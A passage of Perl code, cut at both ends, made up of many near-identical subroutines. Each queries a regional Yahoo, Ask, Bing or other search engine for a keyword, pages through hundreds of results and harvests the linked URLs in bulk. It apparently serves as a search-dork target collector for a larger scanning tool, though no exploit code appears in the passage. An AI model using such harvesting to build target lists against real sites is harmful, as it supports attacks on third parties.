        my $search = ("http://FI.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=fi&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooFI/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooRO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://RO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ro&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooRO/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub yahooVE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://VE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ve&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooVE/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooAT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://AT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=at&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooAT/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooPL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://PL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=pl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooPL/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub yahooKR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://KR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=kr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooKR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooNZ() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://NZ.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=nz&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooNZ/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooGR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://GR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=gr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooGR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub yahooPE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://PE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=pe&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooPE/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ask() {
	my @list;
	my $key = $_[0];
	for (my $i=1; $i<=1000; $i+=100) {
		my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
		my $res = &search_engine_query($search);
		while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
			if ($link !~ /ask\.com/){
				my @grep = &links($link);
				push(@list,@grep);
			}
		}
	}
	return @list;
}

sub askCA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://ca.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askCA\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub askDE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://de.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askDE\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askIT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askIT\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askUK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askUK\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askFR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://fr.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askFR\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askES() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://es.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askES\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askRU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://ru.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askRU\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub askNL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://nl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askNL\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askPL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://pl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askPL\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askAT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://at.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askAT\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askSE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://se.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askSE\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askDK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://dk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askDK\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askNO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://no.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askNO\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub askAU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://au.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askAU\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askBR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://br.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askBR\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askMX() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://mx.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askMX\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub askJP() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://jp.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askJP\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub onet() {
	my @list;
	my $key = $_[0];
	my $b   = 0;
	for ($b=1; $b<=400; $b+=10) {
		my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
		my $res = &search_engine_query($search);
		while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
			my $link = $1;
			if ($link !~ /onet|webcache|query/){
				my @grep = &links($link);
                push(@list,@grep);
			}
		}
	}
	return @list;
}

sub clusty() {
    my @list;
	my $key = $_[0];
    my $b   = 0;
	for ($b=10; $b<=200; $b+=10) {
        my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
        my $res = &search_engine_query($search);
		if ($res !~ /next/) {$b=100;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($1 !~ /yippy\.com/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bing() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=400; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
			my $link = $1;
            if ($link !~ /google/) {
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingDE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingDE/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub bingUK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingUK/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingCA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingCA/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingBR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingBR/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingFR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingFR/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingES() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingES/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingIT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingIT/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub bingBE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingBE/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingNL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingNL/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingPT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingPT/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingNO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingNO/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingDK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingDK/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingSE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingSE/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub bingCH() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingCH/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingNZ() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingNZ/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingRU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingRU/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingJP() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingJP/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingCN() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingCN/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingKR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingKR/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub bingMX() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingMX/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingAR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingAR/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingCL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingCL/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingAU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingAU/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub sapo(){
    my @list;
	my $key = $_[0];
	for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
        my $res = &search_engine_query($search);
		if ($res !~ m/Next/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($1 !~ /\.sapo\.pt/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub lycos() { 
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($link !~ /lycos/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;	
}

sub uol() {
	my @list;
	my $key = $_[0];
    for ($b=0; $b<=1000; $b+=10) {
        my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
        my $res = &search_engine_query($search);
		if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
        while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
            my $link = $1;
            if ($link !~ /uol\.com\.br|\/web/i){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub seznam() {
	my @list;
	my $key = $_[0];
    for ($b=1; $b<=300; $b+=20) {
        my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
            my $link = $1;
            if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub hotbot() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
        my $res = &search_engine_query($search);
		if ($res =~ m/had no web result/i) {$b=50;}
        while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
            my $link = $1;
            if ($link !~ /hotbot\.com/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;	
}

sub aol() {
	my @list;
	my $key = $_[0];
	for ($b=0; $b<=300; $b+=10) {
